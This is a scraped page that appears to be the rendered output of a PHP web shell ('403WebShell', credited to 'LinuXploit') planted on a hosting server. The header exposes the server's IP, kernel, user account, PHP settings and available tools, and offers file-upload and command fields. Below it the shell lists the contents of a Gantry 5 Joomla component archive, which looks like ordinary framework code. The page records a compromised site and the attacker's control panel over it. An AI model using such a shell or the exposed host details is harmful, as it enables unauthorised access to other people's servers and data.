Done ! 403WebShell
403Webshell
Server IP : 46.105.57.169  /  Your IP : 216.73.217.35
Web Server : Apache
System : Linux webm002.cluster120.gra.hosting.ovh.net 6.18.42-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Wed Aug 5 15:59:48 CEST 2026 x86_64
User : verseaumee ( 152031)
PHP Version : 8.5.7
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/verseaumee/123click/assets/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/verseaumee/123click/assets/com_gantry5.tar
router.php000060400000004035150752264240006602 0ustar00<?php

/**
 * @package   Gantry 5
 * @author    RocketTheme http://www.rockettheme.com
 * @copyright Copyright (C) 2007 - 2021 RocketTheme, LLC
 * @license   GNU/GPLv2 and later
 *
 * http://www.gnu.org/licenses/gpl-2.0.html
 */
defined('_JEXEC') or die ();

use Joomla\CMS\Application\CMSApplication;
use Joomla\CMS\Component\Router\RouterBase;
use Joomla\CMS\Factory;

/**
 * Class Gantry5Router
 */
class Gantry5Router extends RouterBase
{
    /**
     * Build the route for the Gantry5 component
     *
     * @param   array  &$query  An array of URL arguments
     * @return  array  The URL arguments to use to assemble the subsequent URL.
     */
    public function build(&$query)
    {
        $segments = array();

        unset($query['view']);

        return $segments;
    }

    /**
     * Parse the segments of a URL.
     *
     * @param   array  &$segments  The segments of the URL to parse.
     * @return  array  The URL attributes to be used by the application.
     */
    public function parse(&$segments)
    {
        if ($segments) {
            return array('g5_not_found' => 1);
        }

        return array();
    }
}

/**
 * Content router functions
 *
 * These functions are proxys for the new router interface
 * for old SEF extensions.
 *
 * @param   array  &$query  An array of URL arguments
 *
 * @return  array  The URL arguments to use to assemble the subsequent URL.
 */
function Gantry5BuildRoute(&$query)
{
    /** @var CMSApplication $app */
	$app = Factory::getApplication();
	$router = new Gantry5Router($app, $app->getMenu());

	return $router->build($query);
}

/**
 * Parse the segments of a URL.
 *
 * This function is a proxy for the new router interface
 * for old SEF extensions.
 *
 * @param   array  $segments  The segments of the URL to parse.
 * @return  array  The URL attributes to be used by the application.
 */
function Gantry5ParseRoute($segments)
{
    /** @var CMSApplication $app */
    $app = Factory::getApplication();
	$router = new Gantry5Router($app, $app->getMenu());

	return $router->parse($segments);
}
gantry5.php000060400000006576150752264240006667 0ustar00<?php

/**
 * @package   Gantry 5
 * @author    RocketTheme http://www.rockettheme.com
 * @copyright Copyright (C) 2007 - 2021 RocketTheme, LLC
 * @license   GNU/GPLv2 and later
 *
 * http://www.gnu.org/licenses/gpl-2.0.html
 */

defined('_JEXEC') or die;

use Gantry\Framework\Gantry;
use Gantry\Framework\Theme;
use Joomla\CMS\Application\CMSApplication;
use Joomla\CMS\Factory;
use Joomla\CMS\Language\Text;
use Joomla\Registry\Registry;

/** @var CMSApplication $application */
$application = Factory::getApplication();

// Detect Gantry Framework or fail gracefully.
if (!class_exists('Gantry\Framework\Gantry')) {
    $language = $application->getLanguage();
    $language->load('com_gantry5', JPATH_ADMINISTRATOR)
    || $language->load('com_gantry5', JPATH_ADMINISTRATOR . '/components/com_gantry5');

    $application->enqueueMessage(
        Text::sprintf('COM_GANTRY5_PARTICLE_NOT_INITIALIZED', Text::_('COM_GANTRY5_COMPONENT')),
        'warning'
    );

    return;
}

$document = $application->getDocument();
$input = $application->input;
$menu = $application->getMenu();
$menuItem = $menu->getActive();

$gantry = Gantry::instance();

// Prevent direct access without menu item.
if (!$menuItem) {
    if (isset($gantry['errors'])) {
        /** @var \Whoops\Run $errors */
        $errors = $gantry['errors'];
        $errors->unregister();
    }

    throw new Exception(Text::_('JLIB_APPLICATION_ERROR_COMPONENT_NOT_FOUND'), 404);
}

// Handle non-html formats and error page.
if ($input->getCmd('view') === 'error' || $input->getInt('g5_not_found') || strtolower($input->getCmd('format', 'html')) !== 'html') {
    if (isset($gantry['errors'])) {
        /** @var \Whoops\Run $errors */
        $errors = $gantry['errors'];
        $errors->unregister();
    }

    throw new Exception(Text::_('JERROR_PAGE_NOT_FOUND'), 404);
}

$gantry = Gantry::instance();

/** @var Theme $theme */
$theme = $gantry['theme'];

/** @var Registry $params */
$params = $application->getParams();

// Set page title.
$title = $params->get('page_title');
if (empty($title)) {
    $title = $application->get('sitename');
} elseif ($application->get('sitename_pagetitles', 0) == 1) {
    $title = Text::sprintf('JPAGETITLE', $application->get('sitename'), $title);
} elseif ($application->get('sitename_pagetitles', 0) == 2) {
    $title = Text::sprintf('JPAGETITLE', $title, $application->get('sitename'));
}
$document->setTitle($title);

// Set description.
if ($params->get('menu-meta_description')) {
    $document->setDescription($params->get('menu-meta_description'));
}

// Set Keywords.
if ($params->get('menu-meta_keywords')) {
    $document->setMetaData('keywords', $params->get('menu-meta_keywords'));
}

// Set robots.
if ($params->get('robots')) {
    $document->setMetaData('robots', $params->get('robots'));
}

/** @var object $params */
if ($params->get('particle')) {
    $data = json_decode($params->get('particle'), true);
} else {
    $data = false;
}
if (!$data) {
    // No component output.
    return;
}

$context = [
    'gantry' => $gantry,
    'noConfig' => true,
    'inContent' => true,
    'segment' => [
        'id' => 'main-particle',
        'type' => $data['type'],
        'classes' => $params->get('pageclass_sfx'),
        'subtype' => $data['particle'],
        'attributes' => $data['options']['particle'],
    ]
];

// Render the particle.
echo trim($theme->render('@nucleus/content/particle.html.twig', $context));
MD5SUMS000060400000000366150752264240005574 0ustar00MD5SUMS	d41d8cd98f00b204e9800998ecf8427e
fields/particle.php	9bedbca62d34d4d0494dd717b0402e2b
gantry5.php	c9490273b44def0436346e58a0cbbd71
router.php	379ff1cb92b5576371e672b8cbd822a1
views/custom/tmpl/default.xml	451154f7fcd2ad255a6589257c7ee7ef
views/custom/tmpl/default.xml000060400000001254150752264240012342 0ustar00<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<metadata>
    <layout title="COM_GANTRY5_MENU_CUSTOM_DEFAULT">
        <message>
            <![CDATA[COM_GANTRY5_MENU_CUSTOM_DEFAULT_DESC]]>
        </message>
    </layout>
    <fields name="params">
        <fieldset name="basic" addfieldpath="/components/com_gantry5/fields">
            <field
                    name="particle"
                    type="particle"
                    style_id_field="template_style_id"
                    filter="raw"
                    label="GANTRY5_FIELD_PARTICLE_LABEL"
                    description="GANTRY5_FIELD_PARTICLE_DESC" />
        </fieldset>
    </fields>
</metadata>
fields/particle.php000060400000006513150752264240010336 0ustar00<?php

/**
 * @package   Gantry 5
 * @author    RocketTheme http://www.rockettheme.com
 * @copyright Copyright (C) 2007 - 2022 RocketTheme, LLC
 * @license   GNU/GPLv2 and later
 *
 * http://www.gnu.org/licenses/gpl-2.0.html
 */

use Gantry\Admin\Router;
use Gantry\Admin\Theme;
use Gantry\Framework\Gantry;
use Gantry\Joomla\StyleHelper;
use Gantry5\Loader;
use Joomla\CMS\Application\CMSApplication;
use Joomla\CMS\Factory;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Form\FormField;

/**
 * Class JFormFieldParticle
 */
class JFormFieldParticle extends FormField
{
    protected $type = 'Particle';
    protected $container;

    /**
     * @return string
     * @throws Exception
     */
    protected function getInput()
    {
        /** @var CMSApplication $application */
        $application = Factory::getApplication();

        // Detect Gantry Framework or fail gracefully.
        if (!class_exists('Gantry5\Loader')) {
            $application->enqueueMessage(
                Text::sprintf('MOD_GANTRY5_PLUGIN_MISSING', Text::_('MOD_GANTRY5_PARTICLE')),
                'error'
            );
            return '';
        }

        if (!defined('GANTRYADMIN_PATH')) {
            define('GANTRYADMIN_PATH', JPATH_ADMINISTRATOR . '/components/com_gantry5');
        }

        // Initialize administrator or fail gracefully.
        try {
            Loader::setup();

            $language = $application->getLanguage();
            $language->load('com_gantry5', JPATH_ADMINISTRATOR)
                || $language->load('com_gantry5', GANTRYADMIN_PATH);

            $this->container = Gantry::instance();
            $this->container['router'] = function ($c) {
                return new Router($c);
            };

        } catch (Exception $e) {
            $application->enqueueMessage(
                Text::sprintf($e->getMessage()),
                'error'
            );
            return '';
        }

        // TODO: Use better style detection.
        $style = StyleHelper::getDefaultStyle();

        if (!$style->template) {
            $application->enqueueMessage(
                Text::_('GANTRY5_PARTICLE_FIELD_NO_DEFAULT_STYLE'),
                'warning'
            );
        } elseif (!file_exists(JPATH_SITE . "/templates/{$style->template}/gantry/theme.yaml")) {
            $application->enqueueMessage(
                Text::sprintf('GANTRY5_PARTICLE_FIELD_NO_GANTRY5_STYLE', $style->title),
                'warning'
            );
        }

        /** @var Router $router */
        $router = $this->container['router'];
        $router->setTheme($style->template, null)->load();

        $field = [
            'default' => true,
            'scope' => '',
            'name' => $this->name,
            'field' => [
                'type' => 'gantry.particle',
                'label' => 'Particle',
                'class' => 'input-small',
                'picker_label' => 'Pick a Particle',
                'overridable' => false
            ],
            'value' => json_decode($this->value, true)
        ];

        /** @var Theme $adminTheme */
        $adminTheme = $this->container['admin.theme'];

        $params = [
            'content' => $adminTheme->render('@gantry-admin/forms/fields/gantry/particle.html.twig', $field)
        ];

        return $adminTheme->render('@gantry-admin/partials/layout.html.twig', $params);
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit